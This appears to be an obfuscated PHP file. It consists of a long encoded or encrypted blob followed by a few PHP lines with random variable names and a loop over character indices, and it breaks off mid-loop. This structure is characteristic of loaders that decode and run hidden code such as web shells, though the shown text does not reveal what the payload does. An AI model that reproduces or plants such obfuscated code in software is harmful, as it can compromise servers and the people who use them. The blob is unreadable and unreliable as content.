/9'5I%b^FO'"z9MRQ^W)@b|c@+a>@ZQsQ!+F6-:RScL9d9MQswL+'3=%IxCr $ Rhp"F&3"%V|]NBa"R{sQ!&h=Vws`.DxMV'B"4I6k]Q!=>">ywcqJ/6eMUS's"?)xsQ r=b9A	Sc|P+'3=%Ibw	 +GiI&
kYIU((~]Rr!:V|x	!(Rhpr!:Rhp"F&3"%V|]NB+3->Sl`^',5"3-![{^
+GiI&	b^FO'	:z9MP{M+'3=2Psd	; kYO
iH&V^/:z ,qS]
 sJ5HMRhlxV D,qSr/%$I&P^=a6-MgwJ62D)qcJ=+?&cIQ r>62D)qe]:62&WQsd".
Q]pR!$6 ,qSZs',5(9&hl|-.SPY	"J$?&cIQ r>>2&WQsdI  (qgc	"+.ARWlsU
C62&WQsd"D,qSZs/%$I&P^sJ$5"VwVR"J+39x|gC:"9&klC2:=>kc U (ql
"!;69	VsYI 8Cz32hgZs&6C+(qcQ s&6HEWQwJ	;(qeZs"*>9&RSs]CF"6-A{p^Bd4I2jO!,F=I%xsYO r""2"hlxJ		194I9V|{6)6hlc ,G632>Sh`Bw &+(kZ{U f+(qeZss5+)5QsUC ?D)qeZs :6=MVwp 
%e4=hsdV	;?95	SsC'f+(qeZs <91	SsC' ))xsYO r!3,D[|``C+ (qeZs"*>9&RSs]CF"6-A{p^	1?H:PYUr">Q` &8!>5I:ReNs]%1&5I>RblBR"J+3<jl^'==4D	VlU (1&":V@C:4=2QMsR,F95-![xscP!,5%)={wZ^ ,%a3">{|c@'&f+(qeZs 9(-2}Cr 1+D)qeZs ,%a3">{skQ!	==D)qe] -.SPY	"J$2:PsgS'!89&	k]Z^&6C+(QUI'=>9&RSs]CFa2"6ye]+(kwC2?5"QcFW&C+(qe]I(2>=EWQwJr==5="VrR(:==yl{U'	%(56RQZgU6C+(qe]P ,%96 ,qSZs C(ql{U'	%(56kcIC (Ter <3-AVs]O!(1)3-"WgVR r!()6Uve^s +3HRkVV		!>6"9bZc &!2,qSZs ;":{wUM&=)59Tve^s ">V|g@!(2:3=QM ,%+>Dcs  r5"I2Shl{!+32=}Cr +QYgQ"; (qe]S==9hA!g+(qeZs 9=32"P]pR'!4DIQYgC
C626jw9d9&RSs]CF"6-A~wcC'	:!D)qeZs 84"
SNBw &"D,qSZs 9=32"P]sT+.,qSZs%C+VcS''56hlcS"!2,qSZs !("9bgsT'F;HASPbQ ,+9MhZgLpJ?"&kl{W2!&RSs]CF("9Uve^s +3HRkVV		!>6"9bZc &!",qSZs ;":{wUM&=)59Tve^s ">V|g@!(15"QcI_,%aHklC!s>>2>QMZ+(qc{@5#D)qeZs =94H!xsW r5" ,qSZs 4"RVl{L
1&KMhlcS"J94I:kMVR ,%+.,qSZs >kcB+[ve^s ("&SQY^,5"4H!Uve^s C(hZgLr!!5H@Ps]C'!84{|Bw &":QSlcS":3=QM'	&)(WCr -:
Qd^	sBd4I2xN^w (2695{wp^
2695{wp^
2695{|{U'	%(55	VsYI 8Cz4""QZZV
-=Khsw	994H"{]Z+(kZ{U f+(qeZss5+)5QsUC ?D)qeZs ("&SQY^		!>6"9bZ{U 82h9&RSs]CF)3-"WgVPq%/:7{scQ'F95-!`X{i1&KM	klcQ,5+)6:aqgj1:"&QcU!1""&{`W'8.,qSZs 84"
SNBw &"D,qSZs 9=32"P]sT+.,qSZs%C+VcS''56Sl	585="ywZ^&6C+(QUI'=>9&RSs]CFa2"6ye]+(kwC2?5"QcFW&C+(qe]@!`4@x|cV">%>QMp 
!a6=~`A'%(2)gYi81/>/`b|W (qe]P ,%96 ,qSZs ;":{wUNr=)59Tve^s ">V|g@!(2:3=QM ,%+>Dx|cV">%2Shl{9+-k`^'585="PYwM1<4M{s]L,J(5-2RScLr=;6="kg	9""9VYU ,&63=2Psg_ s=>-E
{wt 
!5.QY Q''5MkYU!6??2-`ws	9",MkYU!66.DxsWs=93=2PRW
(f+(qeZs/9=-Uve^s h+(qe]@!`4@hYwJ s&f+(qlw &"kcI!sG6">PxV1f+(qe]C'saHx|cV">%&WQsdI  (qe]S==9WlA!g+(qeZs 9=32"P]sx!+4-hl{@!r:>.,qSZs 84"
SNBw &+klU
&I:PwR+(ql{U'	%(56#QsU_!5+3<MQZ{O (!D)qeZs 9(-2}Cr 1+D)qeZs ,%a3">{skQ!	==D)qe] -.SPY	"J$2:VqV9+"%x|	 (62D)qeZs r!3=:ywc	"+.ARWlsUf+(qeZss5+)5Pl]C ?D)qeZs !VcS''5MWs]C'	>>HEWQwJr==3<MSsw@ s%ave^s +hlc ,G6=EWQwJr==3<MSsw@ s%a9&V|xJ
!a6=~`J"F#.,qSZs -her +(x|cV">%2Shl{,%cY{-=95~]cC'	:!D)qeZs 84"
SNBw &+klU
&I:PwR+(ql{U'	%(56#QsU_ s%aH:ScgL'J=5:hs]L8:3=QM!$6x|	 (f+(qeZs 9(-2}Cr 1+D)qeZs ,%a3">{skQ!	==D)qe] -.SPY	"J$=kcc~"=9&V|xI
	 (ql
"!;69	VsYI 8Cz32hgZs&6C+(qcQ s&6HEWQwJ	;(qeZs ,%a3">{wc	"+.AhlcS":3=QM %=4{X%96/fw|q)?!xMxL!:4H
QYU 8:4I&ygP	86"9hY]J:!.,qSZs 84"
SNBw &+klU
&I:PwR+(qgc	"+.AVcg@&8K>$cbc
!${|UC!;:>hgs	a. &fsc
	+5 =`X{i2?A
hscC!5+6="ywcC'	:!=}U!%;396ScIU
)(5HDVO+ 8.,qSZs 2=[kl{@>.,qSZs 3HPsdV	h2&Sl|M,)=3=:ywZI+(qeZR -5>Dxs][	s)!5=!j`Bw &+(x|cV">%2Shl{:4M{|cQ,=2PNxW (qeZs ,%a3">{sw@ ,5d9ScIU	;Cz6-EPsR8=@~wc@f+(qeZs/9=-Uve^s h+(qe]@!`4@hYwJ s&f+(qlw &"kcI!sG62"QwVR'585=!{wcT 2h=.
P|U1f+(qe]C'saHx|cV">%&WQsdI  (qe]S==9WlA!g+(qeZs !("9bgpR'!4DIQlgU />K:+fR^p9,&${rc{*=5~]c	9")@kwRI6C+(qeZRr9="&{p^!+4-hYg	s7">klZV		9=4Uve^s )&QcF^2:I>klcU;55=UjsP6C95{wp^
2695{wp^
2696h]VR/2!=.QQY]	:5{wcC !6P|U
%;6=Lx|A!f+(qeZs !a6=~`A'%(2)ggt=9`X{i16@	VswP!&$H5y`Bw (2695{wp^
2695{wp^
26=bgpN6C95{wp^
2695{wp^
2695	SsgQ2h2&Vcd+(qlUV"=9&VsgM
C62&Sl|M,)=3=:ywZI
	 5{wp^
2695{wp^
2695{wp^
!+4-bgpW	; 5{wp^
2695{wp^
2695{wp^
<9&{wd^2&95[bgpN1f+{wp^
2695{wp^
2695{wp^
2695xsYU"6)6RQZgU6C95{wp^
2695{wp^
2695{wp^
269&QcF^28KjsP6C95{wp^
2695{wp^
2695{wp^%C+(qeZs :HMVc L 82h=2QYwf+(qeZs <5I>kcV!!3="{swC
!#.@	V]Z^&6C95{wp^
2695{wp^
2695{wp^
26=ywc
Ch)6VcIJC95{wp^
2695{wp^
2695{wp^
2695{wpR"!=5,	S^28"/fwx695{wp^
2695{wp^
2695{wp^
26-hc]T+HVwVR'(!+{wp^
2695{wp^
2695{wp^
2695{wp^
!!3="eMcK2h9&P}Cr
2695{wp^
2695{wp^
2695{wp^
%"4H!,q]p^
2695{wp^
2695{wp^
2695{wp^
26=Rhc [	5>D{]RP*1%2":Pr@5"H"kwNJ+32>PYRV		*!={^Bw &+(qeZRsJ"3-EQE]
C65~]cK(96,qSZs "D,q]p^
2695{wp^
2695{wp^
26=ywcV5:)6Uve^^
2695{wp^
2695{wp^
2695{wp^		=)595bgpWF,>7{q]vK69x|cQ,={wVW,%4=hsdV
(6xsO!	%%59~]xI
)<"$gMsZ!-a9=Sc N!J:)~wpP2:6"&PgZL	8?D){wp^
2695{wp^
2695{wp^
2695{wcV5:>DhYwJ s&f+{wp^
2695{wp^
2695{wp^
1h="Qdw (2695{wp^
2695{wp^
2695{wp^
2:4I2{w 
925R~wVP,%4=hsdV
(6xs]	C!xNBw (2695{wp^
2695{wp^
2695{s]T!<49hZU@"!=9&QwF^		=)59U{sgJ s&6-:PMVR r5".,q]p^
2695{wp^
2695{wp^
269&yMB+(qlw (2695{wp^
2695{wp^
266--{gcV5:+D){wp^
2695{wp^
2695{wp^
266--xskN1<3I>VsdV	)&95}ILG8.hcIC1=HywxF25=}Cr ->hcwK6C+(qcQ s&6I6QwJ	;(qeZs		!>6"9bZw9d96`aIp"66%g_w
$2&
kYIU (qeZs's!5=!xs]	C6)5	VsYI 8Cz"RkVV62D)qeZs =:P|gM!/>6)6
QZ{Q&!D)qeZs MhcwS":6"&PgsQ 82:6 DIx|hI
	 (qeZs :6"&PbBR"pC6)5xMxL!:4H
QYU 8:3{]RP6C+(qeZs !;5HSPcCpC6)5	SNBw &+(qlw (2695{wp^
2695{wp^
2695{wcC 6)5aam9?-dq	^	8G:3=2PsdL	82>APlsJ!s!=9={wxJ
!;5HSPcCG?)65caIo>69Sc N!J:)~wpP2:6"&PgZL	8f@jsP6C95{wp^
2695{wp^
2695{wp^"*>=.ygsT'r9!3=!xskN2:4I2y`B^+)6kYO!+4-}Cr +[ve^s >kcB+[ve^s ("&SQY^,5"4H!Uve^s C[}Cr !:5[{sU'81:klC!7?M6drBW'	&)y`Bw &!cwc_J<QpxWChH&VJ!s5:x]h^2:K62gc[	r2)KD
bgUC=I%ygZ^&6C+	hsxM,='5Ak`V	J K:7eMUC 76=MVwU]2:K62gc[	r=)5<MPUI!(595	jsip!3I:PrN=+KD{wc_J<QwJs994H!jgZ)&	k] s%"-:RhsxV	J K:7eMUC 72hgU] 5{wp^
264IVsV!7?M6drBWs94:VwU]1f+{wp^
2695{wsS==9>:ScR!r+.1|`tP(2:==bZU'=>">hl`V	s=&.=SgRI8184"
SNBw (2695{wp^
26=:
Qd^
-%DV{^^^	!8.Ahlc}"5(4H"RywU'*eU{s{@5#D){wp^
2695{wp^s5+)5asBxscPF+"&&Ssw@ s%a9PZ (!6QYgQ"; 5{wp^
2695{sQ s&6 2a`VM:g9&	k] s%aH
QZU'?6HM}|dW 6>kcB695{wp^
2696klU
9;4>P|]x
!:DIQg	s94:VwVWr2e-y`B^/9=-Uve^^
2695{|w (2695{wp^"*>-EV|ZV	J K:7eMUT"=KDygs695{wp^
2696kXC'5(39P{_r>-A	Psg@
(6>5W|]Z695{wp^
2696hcwR:>:PZcU!/"%=QsC"!!5H@T{sw	'5;6=EPZ`
)!5="kc U!`5"5QwJ
(f+{wp^
2695{wsV5:"={_O!/!=5%d|]N63="VVwN!5!5=}Cr
2695{wp^
26MhcwS":K62gc[	r!859{swC
!c+D)qeZs !:DIh|gM :3Uve^^
2695{wp^
1=2=R}Cr
2695{ws 
%"4H"h]VR/26)6#hYNG><M3fl8<6-xJ
b{|Bw (2695{wp^
26=.QYgQs><M3fl8ajgsQ 82:3,q]p^
2695{wp^
2695	hsxM,!`5"5x|hJ
!<49Uve^^
2695{wp^
1<HQdV	)&.,q]p^
2695{wp^
	%$4H"Rywc_J<QpxWf+{wp^
262DhcICC95{wp^
2695hs]Ui4H:Sls	,5"">Ryw{ /9'41cwLa=Mhc^,")=}UI!,!'3ASl	!r9d>
kBV6!9Mk{I 	"zUve^s%C"PYU!=4}Cr %;6=L{Sr):PwsP ,Jb4H"bwVGi=P{sJ=+-:PZcU!/"z+ZhY@!1$-EbgUC(65-"RSsR&5I:RxMsO!/=`EVpW/>>3=QMZ	;Gi3=2Psd^s%"526
hscI!,h ={sU!+4=2ScW& @ZV|xi3=%Id|]N'3=%Ib|cR*'4I%Z~cR+a>A/PUI!+'3=%Ib|cR-194I:QP{RJa>@ZVs`5a->
Qdr!:Rhpr!:V|x	!(D)bs]L 	%a2&WQsd ":="{sQ!&h)6PkcIB4-Ibs]L 	%a2&WQsd ":="{sQ!&h4>1VYwJ'&hI2Shl{	;Gi6-AVl`^'	&.ESccRG652h` N(1c-Sh`W	;Gi6-AVl`^'	&.ESccRG652h` S
	)952"bgRP(1>3=EQsUs95=:kl{C!?M!caIm8;3H%jgZ^(:?PZs'1a2"6bcYI!=56kc U=>">hl`^',5"3-![xMxL
!4I:VwVRp1K& xV9+"%jgZ	J K:7eMUS"5(4H"Rx	8!9@xNw +a>@ZQgJ=a=A
Pcd 	r!d4=!b^IO 	!!5H@VYwJ'&hHEWQwJ	828D){wp^
<?5	jsip!3I&WQsdWChHEWQwJ	8=H{wUC=I&hwR=H{wx4-Z~N''5@ZPs	"J$2.
P|gU&I:PwR^
+ yqpRp1K& xc &?.D[xsW r5"kYO
+-kcUf+kYO
:z=MVsU@=)5>Ps	"J$QgJ=aVs`i3=%Ibs]L 	%a2&WQsd '%e396kc U=)5<MP	
	)952"bbFP
(G6="Q|c!7?M6drBW r5"HQ`W~HkwJ"J+39TS|cM!	=&-:kcIS"5(4	jsip!3I:PrV!r=aKDygpL
-8Vs`i3=%Ibs]L 	%a2&WQsd '%e396kc U=)5<MPUI!(1c-Sh` Z
(:$9Pls	&:K62gc[	r=)5<MPUI!(5.LQYO'g62&P|N=!-Ssw@ 8:K62gc[	r=)5<MPUI!(5)~]{Z
+GiI&	bSr	!:PZs'1a2"6blcU&	"652h` C 74=2QMs`.E{]xL
=5"6RWgVRp1K& xA!J&":xI8?RPcIC %;6-2kYQ />><M3fl8+4-QswC 85)~]{Z
+GiI&	b^I	G8D)qgc	!26)5bs]L 	%a2&WQsd '%e396kc U=)5<MklU
	)952"bgRW(:f+(SchV"=+"%xrhp= QcI_"J+39yg]-ywcR(CzHMPYgS':K62gc[	r=)5<MP		pC"9&gqm ?4I2jIOs$KD{wc_J<QwJr194I9jgF^	J K:7eMUC 72hgU]62D)qeZs r!3=:ywc_J<kYQ /==39ygs+(kwC28Hhs
 8C)!{^^^	!8.Ahlc}"5(4H"RywUS 6(.1y`B^/9=-Uve^s H2hgpP!.}]pR:%:VqV9+"%xg	+?.kZ{U f+(qeZss5+)5asBxscPF+"&&Ssw@ s%a9PZ (!6QYgQ"; (qe]S==9>.fZ&85	hsxM/==3?:kl{C">H S`Y	8f=>hcwK6C+(qcQ s&6:}ph
+6=&~`C!6=2Qg	;4>P|]RI8184"
SNBw &"D,qSZs !:DIPs]C'!84}Cr -:PMpP	==5="VwsLB=":PrP==Q|cI!sG632Vcd 	8z9MQ|cI!sGz,qSZs >6-ywcI'%%>DxscPF<"&SwVI1f+(qeZs!+39	Sg2:32VcdI
C6-2SwVR"!=5)Uve^s -:PMpWJ&3=P]s`.DxMR',5"3-!xMx^	8G>2.
P|gUC:K62gc[	r=)5<MklU	pC~I:PsgS'%: xMZL	;G?&PkcIG?9MQ|cI!sGz ,qSZs C(qcgS"K6 QgJ=aUve^s C(hcIC1=H{wc	!2f+(TcgJ s&(hcV!82:3=E}Cr %;6=L{^FO'"z+(qeZs	!:PZs'1a2"6bl,B!396PkcIC?@{sLs!H[xkC"$4H-}MRJa>@,q]p^
2695{wp^
2695ZVs`$42"R{|c &hHkEP!r652h` C 7HMSPZ`^',5"3-![xL	8:65hc N'	><M3fl8+4-k!/"?)MxMR	81;6="SgR	865b]sS!r%$396RSsd^!/%%"{sT
	9'3I9Z~cR&C+(bw	 +G(bw	9".@,qSZs	=;4Vpw (2695{wp^
262:hsx 	8:$=2	h|J=>"9xrhp= QcI_,5+)ygP	; 5{wp^
2695{sk!,=a6-M{skC*!2,q]p^
2695{wp^
2696h]YT/=)5<MklU/)952"{` Cs!8)6U{shL!sF+3->Sl`^1<3-AVs]O!(!2 [}Cr
2695{wp^
2695{wp^
1!~ZpA1<5~ZkQ!	%=)}Cr
2695{wp^
2695{wp^
1!~Zp@1<5~ZkQ!	%=)}Cr
2695{wp^
2695{wp^
1!~ZpC1<5~ZkQ!	%=)}Cr
2695{wp^
2695{|w (2695{wp^
262D,qSZs )`5:RScL
	=a2%PwZ^&6C+(qc`L s*$4>1VYwJ'&6)5QgJ=a ,qSZs ::~Zp@/)952"{p^' 5{wp^
2695{wp^
1!{whT
"$4H-Qp|I
"$4H-Qp|L',5"3-!bgsJ6C+(qc`L s*$4I"Pc]	f+(qe] +VcS''56QMVI
	 (qe]T!r:>6.D}ZF+APsgMFa4KVs{JpC?)AhcW'f yer +	~ZT,%"-EPZcC8a jgU]s5:hcK"6)5
hwC(F=5="hc	 p ?3=>eW!)ASsgS"s%:D)qeZs%C+Z~S ,&3>@}Cr <=Qg	!:x]h^	!8.AScK (hcV!828=>~N'585=!V]R'h.5xgsS"4=2	hs]L;C(=:PsIC 5;6-Ab`p
+ (qc]T5=5"6RWgVRp1K& xA!J8":xI (qeZR:%:PsgS'!89&gqm ?4I2j{Q s&?)Uve^s -:PMpP	!(Rhws
"!a6>D{|	&=)P{R:%3=M}^{N&1+5HhwpS+*cIb|NGz=2PsgC+'4I6
P^/:z=>b]x+(x|cP!	=74"{p^	!8.ASl	585="ywZ+(VYI!&>=Rhc^2:==bYkU'=>9&RkYICr9=4{|Bw &+(Ps]C':6H"W~wpR',5"3-!{p^5;69	SlcU!f+{wp^
2695{wp^
2695{s]T5=5"6RWgVRp1K& xA!J;5I"VwU]5{wp^
2695{wp^
2695{wp^
!$>DxscPF<"&SwVR:%2Shl{/$c`^qJ%y]Z^>656%g_w
$2.
P|gU(?)Uve^s )&PkcI2h=RPcIC %;6-2kYQ />>2.
P|gU (qeZs=>55bsO/:z=Q|g	
	!d4=![xV=#MVxMsLB=)RkYI[632Vcd 	8:$2.
P|gU(:?.kZN;9=hch 
81'5:ScK84I%xMxL		)952"~]xW6!9=I{]R',5"3-!{^FOG89@ysgM 	!d9&gqm ?4I2jO'FaKDbMRT!,9+4>}]x^	=%-b]Y	F3H@jlIJ+5-2PpP2$9=Z~O/:z=>b]x+(Ter -"Ss	^
+!56SVws	&1=)SsgS"s9'29PS!;6 DSl|V ?5ZScN'"632h` P'!a5H@VYwJ'&hJ&SPlpW
J$HkB 	s!'I"hc	/=<5~ZkQ!	%=,hs
!,'-&{^ER!s=`5-"VwC(F+3->Sl`V ?Q^~"=26
VsV$42"R{|c &h3="VVwsLB=-.Psd^',5"3-![xc!2$4I2xNr!:RhwsC'	".DkY@%("&Qp^@ 	64HMSc`^
;*cb]x+(SchV!7?M6drBW 6?)5[bgpW s%"-:RxMZ^&6C+(qeZRp1K& xpA	pC6)5QlgU /?D){wp^
2695{wp^
2695{wpRp1K& xpC	pC6)5	jsip!3I5x	J K:7eMUN851Uve^s )&	k] %=4x%96&fgv )6
QMsL
)JDxMpL
!7?M6drBW :?)Uve^s )&Vc^2:==bYkU'=>9Uve^s )&kcUU 82h=:ScFV	F`5,P]U]
K6 5}Cr
2695{wp^
2695{wp^
1=H{wx s=(6"6RbY`L s*$5HAVc{M""h"kcI!sG>" VwYZ
(:65	jsip!3I5x^(289={s`L s*$4>9VYwJ'&!1.Q@"1aQswL(:$<M3fl8&~]xr=&-@I{wY	F`5,P]U]%1(-:QYcC1 -{w|^$42"R{|c &h3="VVwsLB=)MR^',5"3-![{]pL
>6-ARygc_J<Qp|W65b]x695{wp^
2695{wp^
26="Ss	^
(1'5	QswW>8D){wp^
2695{wp^
2695{wsI(:K62gc[	r2+KDb]pAC95{wp^
2695{wp^
2695{wp^=>55{pIQ
(--[{MsO!,="6-:bgUC'2=~]pRp1K& xp@	pC65{]F^	82$9	jsip!3I5xM65ygR	,a63QYgJ9=Uve^^
2695{wp^
2695{wp^
<9&gqm ?4>9jgp
!&-QMZw (2695{wp^
2695{wp^
2695{sgS"K65ZkgsV ,%<)9PS!;6 DQ`V:89@xrhp= ]U]
G6={wR^(2><M3fl8&yNtI
G6b_U&	"6R}NFOG8D){wp^
2695{wp^
2695{wpRp1K& xpC	pC%.,qSZs 6--xrhp= RWlsU	pCh)hA!!+(qeZs :K62gc[	r2(KDbgpWq%/:7{w^^-9)5~]c_J<QpxWG??(fa]l
>&?M%`X2?	jsip!3I5xH;2!D)qeZs =52:ve^s +	jsip!3I5x^2?J"/`al
6>2fgs^	8G:K62gc[	r2(KDxp^,%xMV	J K:7eMUN859ygW>& ,qSZs -:PMpP9(Q^P6C+(qlw &+h]VV!7?M6drBW 6?)5[bgpW %=4ygpT	(29-EV|ZV	J K:7eMUN(5)WCr +	hsxM/5`">WyqpRp1K& xp@	pC!D)qeZs !	hsxM/9=45
b`^,5"4H!{|Bw &+(qgc	"!")5[{skQ!	==D)qeZs -:PMpW	!9{|UI	!>.1wd^s%"52:kcI!,h)6hcIJ 5:=hN@
="":bc Q"G64I&WPsd 
,99H QY!,"%HMPx
;:d}gx	; (qeZs !"6-A{p^ (qeZs >6-ywcI'%%>DxscPF<"&SwVIf+(qeZs 6--{gc	"!")(WCr +(qe]Us'9ZV|x	; (qeZs MhcwS":6"&PgsQ 82:6H"W{p
!c-ShgZw &+(qeZs %;6=LxNI	"G?&hlZL	;'3=IxNBw &+(qeZs ,%+"%xs]	C!D)qeZs +	Vs]	!&h32>Sh`Bw &+(qeZs=>55bw	 +Gi32=IxNBw &+(qeZs	!5!bgp@6C+(qeZs C(qeZs =H{wR'	:6H
Q| 
,?&ScU(8Uve^s +(xsII!,&6)5	Ps]LCh.L}^t+(qeZs,J(-2SwVR"!=5)6
QMpR"s%d>DI{wc`)WCr +(qe]I(:32Vcd^C65"PwZw &+(qeZs %;6=LxNI	Gi6.AVcIJJ!Vs`	; (qeZs -her +(qeZs=>55b|cR($5kZxV"	!%52:hcI;6=2QMVR',5"3-!ygWJa>@}Cr +(qlw &+(qe]Us'9Z~c@(f+(qeZs h+(qeZs =H{wRr!9b]R+(ql^+)6Uve^s +kYO
i=Pb^IP*%(4M}^FO+G6AVs J r1=H
PsV9+9&	k]9(5I=ygZL	;'=Pb]R+(qlw &+[ve^s -:PMpP9(hY@!GiMPgsO!/=`EVpWF+Ag`.E{Zw9d9=UhwC(F&APkcIBa6=~Zw9d.
P|gUs!'I"hc	/=<:SkY I'!I>V|g@!(1<-h`BW+a"Rkl{U1$-EbgUA'%(2)Qc!&hIh|cV+6&9!USsgIsa1|s	;G8D){wp^
2695{wp^
26=ywwU!1a2)	jsip!3I5xI
*<9	jsip!3I5x^
C6HkccT"=ve^^
2695{wp^
2695{wp^
%;6=LS|cM!	=&-:kcIS"5(4	jsip!3I5xI6C95{wp^
2695{wp^
%;6=L{^FO'%e3=2hct9( @ZScN'"632h` C'9%6"%VYwJ'&hJ"Vhc'&?=Uve^s -:PMpPJa>@Z~c@(:f+(qe] +kYO
:iI&
kYIU+'MP`/:'=Uve^^
2695{wp^
1!	jsip!3I&WQsdWChHEWQwJ	862D){wp^
2695{wp^
269&	k] %=4{X%95{qkjqC65"QcFL'==46:aqgj1;5HAkl`V	%+">~wpW"=6P	6)64ggj6/A'{ss~"=I6Slk^
C6I{]Z695{wp^
2695{wp^"*>=&~`T!;69yer
2695{wp^
2695{wp^
1=H{wx,J(5)6PZ,B!3>DhwC(F&)APkcIB2kccT"=9=UhsS'B=5%QhL :$32Vcd '!4A~ZkQ!	%=H&kgMFa:~Z,B!39}{U'	%(56kcIC ?QswL*'-%hY]J'4I6
P^^$42"R{wsS!5+4 DVsO!	=55{|c &h3="VVwsLB=--Ibs]L 	%a2&WQsd  r%85-R{|kQ!	%=)Ib]RJ<5I>b]x695{wp^
2696[ve^s !#xrhp= gU]
Ch9PwR,"){|Bw &+	hY]J2h9&	k]!J9?.PsdV	J K:7eMUN(5.,qSZs =H{wR/:'QYd^s94I9[PcFA($62&P|N=!-Ssw@ 8:hbBW,")ygWJ&4!IxNBw &"D,qS] 
%"4H!WCr
2695{wsUs'=RPcIC %;6-2kYQ />>=&~`U /9'4y`Bw (2696[ve^s=>55bwR"*z ,qS]
 sJ5HMRhlxV D,qYk!,=a6-M{swS''5AV|UO , >)6Uve^s'r='="
hsg@f+(xs{Qs7HMPYgS'J&)>(Wag2/aZsP"b )Qck 5;"d`x",6(62VNsu*"6<*gZ]hs` 1hX]`/)86-gbkr)"4I;gEW*bK*PsIuqHA)VYH!sJ.kY]s Jb? )aq{V*2,6;fZkc/!> 1WbV@!	%K>!dcERpg&/cwK6K+alss	e/1QrAms ?Wk^s*-;`NcIp!+:gZUS!&PXA`/;5.k^{r9%&gUL3JWSNU|1g>-QXA`J>'gNsn21Pp]r/&cXclF >2-dbgK*9Ia_Yz&:+..gx*=6H2:dcs"p)dHDWWaISac]Kq!4=^g-? %fXsk	!:QhAp,0K>Waz) 
dgO2-:}l]i"5#,.VVa]I";"6PkUn'"1`cIi=6,6eXclF.0SaEl qF5.QeXR	!p&)"7bko=6,6eXclF.0SaEl qF5.QeXR	!p&)"1d_Am=6,6eXclF.0SaEl qF5@SkNj!9HA/_AN,d22&clcQs=&IaZ@&	);"d`wj=262VNsu9e39dco9>25daEl qF5/Ak^v!"1`bkm#=Uve^s	9!5&Qs@'J&)>(Wag2/aZsP"b )Qck!s=%dqg
!-
dNc;9?J:S]i';1,8hE*96H&:aac
qB6HWa{J"? '`lsi&:d<2c|@k`{nJb? ^]H9? %flr!9 >6f{n=5?A3g`s	-&):1dakv:5=&+cZ]Pp9c -AVb]aH%e`{!*6Ha|UW*"5?&a_cc;&&/-WbAa+10J>Tk^{v -:SaZ
5&2;gZAP*F(:!qE~=>,epwv6&3?.5cYl6dK>5dXcj).(Q m";"6kbR"q":^]H96K+aYkQ;!'"%gxA,96gd-9:;qkip=#4?+WpYsp9& : Sbt@/%:J>PkUn'.PX{S,J&0Q|QG& RPg'rJ=Vh_z"s5	-(SV,FH>*P|ARp)`/!VYL,=86/Q`rwNs552:gUp=J&0PAcqF  !qE-16 &dl]Kq!5J
d]O=?6H:*PsEhpcHEQqEm+-M)cUj -0_k,Cd?*eZkS!=!/Pa]}s0K.kbR!- `IKp!+:SAPq9"!drk*6"gqX"&/M(SZvs#=cYIP"9"1grkn=6&g`pp!!.'gcrpd3K:|sUo9.)gI}6JA3dsB	"Jb? &gcIJ6&gXcm)?:!}sk},9K"kYr 9$-0p]i6,1`ZgRq9"/5SYc`,K>7ggn!22"(SZvs#W|kS-%?.5WfcH qFH )eXYV !"2VNsup&:pP6C-"Ss	^
+>.A-hlc
!r9#2&PICJ>.@Zhs]
="":bcO!/!=5%Ive^s)'4DPYwMC?5.xMsO!-=`EVp Z
,>5"PwIL'"9Q|pW	!>6"9Qs@'Fc-ShgZ ,%a3">{skQ!	==KbSr +4=2b_{I!,"64=MVws	!82'~V
&">j`FO r195@ZkZxO&C,6QZ`
!56SVws	&1=)RhlY		81$-EbgUN!r9a6PkcIC? 1NRW(2i6-AVl`^'	&.EVc{M""632Vcd 	;Gz @,qSZs)'4DIve^s)'4DPYwMC?5.xMsO!-=`EVp Z
,>5"PwIL'"9kpW	!>6"9Qg@',%(.
P|gU	!>6"9Qs@'Fc-ShgZ ,%a3">{skQ!	==KbSr +4=2b_{Qs %HMPYgS'26 I6QYI]J+4=2b^IP (Kz+(gg@',%(5ZScN'"632h`W'%e39PYwMC?4H"VYg@	81c-Sh`W
(G6<M6`b{n93K>$falJ?&1x^(:?63P{	(2i6-AVl`^'	&.DVsg'652h`W J(39VYwJ'&h 9N|
	;G6=Q|g	
	!d4=![QgP!a2.
P|gUzIve^sJ<5I>b^IP +G8D)qc]T+4H"Rywc_J<QptW!2,qSZs/%$I&P^s*>=-x|`I
	 (qgc

C6=.QsgL!<9>Q{]Z^!r:6=.SPY	"J$H"VSl	 8?hbN'!7HMVsgL'	>?.,qSZs <9&QylBw &+#hZU@"!=9&Q~qsP==&hsgS!s!=9&RygZ+(cskS!J+)	VMZ+[ve^s C(SchV	J K:7eMUN5>D[{wUP 	2?)6Uve^s ;~cM J849APwxJ	9!5&Qs@'J&.,qSZs !'3"%bgs
 sJ29Qsg@!2'3=E~{N/1"9=xrhp= ]U](:6.@hsgsF`5=^T2<Uve^^
2695{wp^
1+5="QwVA (qcgS"K6QYd^s94I9[PcFA(!'3"&P]xL'r='"{ZsC
5`296Z{sU@265QsFPG89MQYd
+ 5{wp^
2695{|gL!$6~cM J849APwxI6C+[ve^s <9&gqm ?4>1jgp 2?:xMZ^&6C+(khV
(Ja5"5kY|L 89&kcKs='5Akc_ f+(qeZR!r%a>DVO>6QYF^r!%49MkMN!28&gqm ?4>=jgP
:$<M3fl8&~]x^G'="P~!6@gpT
(f+{wp^
2695{wsC!%=49y`Bw &-"Ss	^
+&4!kIQ r>h5-b]cO'!25=VO>6{sw&1i=hlp^,>$4=ygPJ&4!I{^Bw (2695{wp^
262"Ps]L"88I&QwP8F&59=}Cr h+(Ter %;6=LxNFOcUve^s'r='MVsg@f+[veAT'F;3=P]sQr!!5HA1cMVI
	 h]VQ!7?M6drBW 6?)WCr :)5[{sw@ ,5d;D)qeZs
/%$-E{]p (1&626VcQ!&>),qSZs 9&626VYg@ s'5=b`^ &3"Q]O!(!;D)qeZs
/+5KMPhl{C"J$5[b]saqJ7"1g]i((qg{C)=5-M	hgx^G6=SbW">I:
hYg_!J:)ve^s f+(qcgS"K64H"ScwJ"=9&
y`Bw &h="Qd^&6C+VYwJ!7?M6drBW 6?)Uve^s%C1+D)SchV
%%42&Wywc_J<kgU]2!+(SchV"=+"%xscU,5`52&kc	"J$)5x]sT'F;3=PXU&+329xwS''5~]pR%<""VrQr!!5H@yer :K62gc[	s6?)5[{wcR)93-RjwS''5,qS]U!	==+(qgc_J<kgU]
C6K:k]L,K?D)SchV
5=5"6RWgVRp1K& xtW6-hZgLr!!5HAhlYI r!+9
kcI!sG?9@xrhp= 
xI
kcIJr%+">hZgL8?-:RScL	82$9&gqm ?)y`Bw ,%e6"%Uve^";
$jleDGpAr2998 = "";
$cIddYGbn5025 = "";
foreach([40,3,8,23,33,28,27,19,23,6,13,19,23] as $U){
